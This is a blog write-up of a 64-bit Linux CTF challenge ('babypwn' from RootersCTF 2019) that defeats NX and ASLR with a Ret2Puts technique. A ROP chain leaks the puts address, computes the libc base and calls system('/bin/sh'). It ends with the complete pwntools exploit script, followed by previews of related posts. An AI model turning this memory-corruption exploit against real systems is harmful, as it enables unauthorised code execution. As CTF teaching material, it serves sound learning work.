Skip to main content

Defeating NX and ASLR protection Ret2Puts in 64 bit linux (day 79)


In the previous post, we are talking about how we can bypass NX and ASLR at the same time in 32 bit but have you ever think that the same attack can be successfully launched at 64 bit.

The answer is "NO!"

Even though the concept of launching the attack is almost the same but there are some minor change that we need to apply to our exploit

You must be aware that the 32-bit and the 64-bit function call is different. 32 bit use the stack to pass the parameter of the function but 64 bit use the register to passing the parameter and we need to utilize ROP to chain to call the function

To make it more clear we are going to solve one of the CTF challenge (babypwn) that come from Rooters CTF you can download the binary at this link: https://github.com/abs0lut3pwn4g3/RootersCTF2019-challenges/tree/master/pwn/babypwn

Crash... crash...crash....crash

First, like any initial stage of exploit development, we need to crash the program in order to find out how many offset that they need to overwrite the instruction pointer (RIP)







we can see at the figure above that the file is loaded to GDB and then we provide a long string pattern so we can trigger a crash, once it's crash take a look at RSP register notice that it fills with the supplied string earlier and it turns out we need at least 264 bytes of offset to overwrite the RIP register.

as mention earlier, our binary is equipped with NX and ASLR protection this means that the stack of the program is not executable and randomized. In 32 bit executable, ASLR can be defeated by just brute-forcing the value of the stack since it has a low entropy but here 64-bit executable has a much larger address so doing it will be not efficient.

so what do we do then?

 

if you take a look at the main function, there is puts function that we can use into our exploit. This method is called Ret2Puts, so we reuse the puts function that the program function used at the main function to leak the information of stack address at runtime

so we craft our exploit into two phases, first phases will use the puts function to be called to tell us what is the .got address of the puts function by doing this it will give us the actual address of the puts function on the stack (reference on .plt.got can be check at this link: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html)

next at phase two is to craft a payload to called system function to execute shell, by getting the actual address on the stack we can calculate the beginning of the stack address and determine where the system and string "/bin/sh" location at the stack

Phase 1: Leaking the stack

we will use pwntools to craft the exploit.

our exploit will create in the following manner:

<padding> + pop rdi; ret + puts.got address + puts() function address +main function

by using this exploit once we leak the puts address it will go back to the main function so we can continue to phase 2



this is the initial code for our exploit, first, we load the executable and the dynamic library that was used by the executable (usually in CTF this is provided along with the challenge)

you have to pass the elf object to context.binary first so the pwntools detect whether it is 64 bit or 32 bit. Then you create a ROP object in order for pwntools to automatically craft it for us

second is just grabbing all of the necessary information to crafting our first stage exploit such as the location of puts function, the address of puts .got and the address of the main function.

log.info function just use to show the value of each assign variable



next, we craft our ROP gadget by using rop.call function then we put it together with padding and main address just like what we plan earlier. By using rop.call function pwntools automatically fine the right gadget (pop rdi;ret) to call puts function

after all the preparation done we will run the executable and send the payload. Once it is done we will receive the leak value and store it to the temporary variable



once we get the leaked address we can calculate the stack address and look for the system function and "/bin/sh" string

run the following script that we just type with: python exploit.py LOCAL DEBUG



cool we got the address leak and determine the stack address at runtime. Notice the address that I highlighted, this is the leaked address of puts function

Phase 2: Craft Payload

so now we have all of the material to craft our payload all we need to do is to construct another gadget to call a shell, we will construct our gadget in the following manner

padding + ret + pop rdi;ret + system function + bin/sh

notice that I put ret address before the rop gadget this is because to make sure my stack is aligned properly.



added this following code to your code, run it and we got a shell :)

pretty cool huh ?!



The full exploit script:

from pwn import *

elf = context.binary = ELF('./vuln')
libc_library = context.binary = ELF('./libc.so.6')

rop = ROP(elf)

padding = "A" * 264
puts_plt = elf.symbols.puts
puts_got = elf.got.puts
main_loc = elf.symbols.main
return_address = 0x400694

log.info("puts_plt: {}".format(hex(puts_plt)))
log.info("puts_got: {}".format(hex(puts_got)))
log.info("main function: {}".format(hex(main_loc)))

rop.call(elf.symbols.puts,[elf.got.puts])

payload = padding + rop.chain() + p64(main_loc)

r = process("./vuln")

r.recv()
r.sendline(payload)
r.recvuntil("\n")

temp = r.recvline()

leak_puts = u64(temp.strip("\n").ljust(8,"\x00"))

libc_library.address = leak_puts - libc_library.symbols.puts
system = libc_library.symbols.system
bin_sh = next(libc_library.search("/bin/sh"))


log.info("leak puts: {}".format(hex(leak_puts)))
log.info("libc address: {}".format(hex(libc_library.address)))
log.info("system address: {}".format(hex(system)))
log.info("bin/sh: {}".format(hex(bin_sh)))


rop = ROP(elf)
rop.call(system,[bin_sh])

print rop.dump()

payload2 = padding + p64(return_address) + rop.chain()

r.recvuntil("back> \n")
r.sendline(payload2)
r.interactive()

That's all I hope I can give you some insight on how to build exploit in 64-bit architecture.

See you at the next post

Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct

WriteUp PWN tarzan ROP UNICTF ಠ_ಠ (day 61)

So in this post, I'm going to talk about how to solve the Tarzan pwn challenge from UNICTF 2019. Back in the day when the competition is still going I couldn't finish it and don't have any clue to solve this but this time I was able to finish it :) Also in this post, we will be going to be heavily focused on how to utilize pwntools to construct a ROP chain. If you kinda confused about my explanation in this post you can refer to this following youtube video, link: https://www.youtube.com/watch?v=gWU2yOu0COk I build the python script based on this video Ok, let's get started! In this challenge, you will get two binary first go with tarzan and libc-2.29.so by providing .so file it tell us what version library that the target machine is using this could help us to do ROP chain. first, we run the Tarzan binary to get the basic idea of the program work and as you can see it just show you some text, newline and when you try to input something it doesn't gi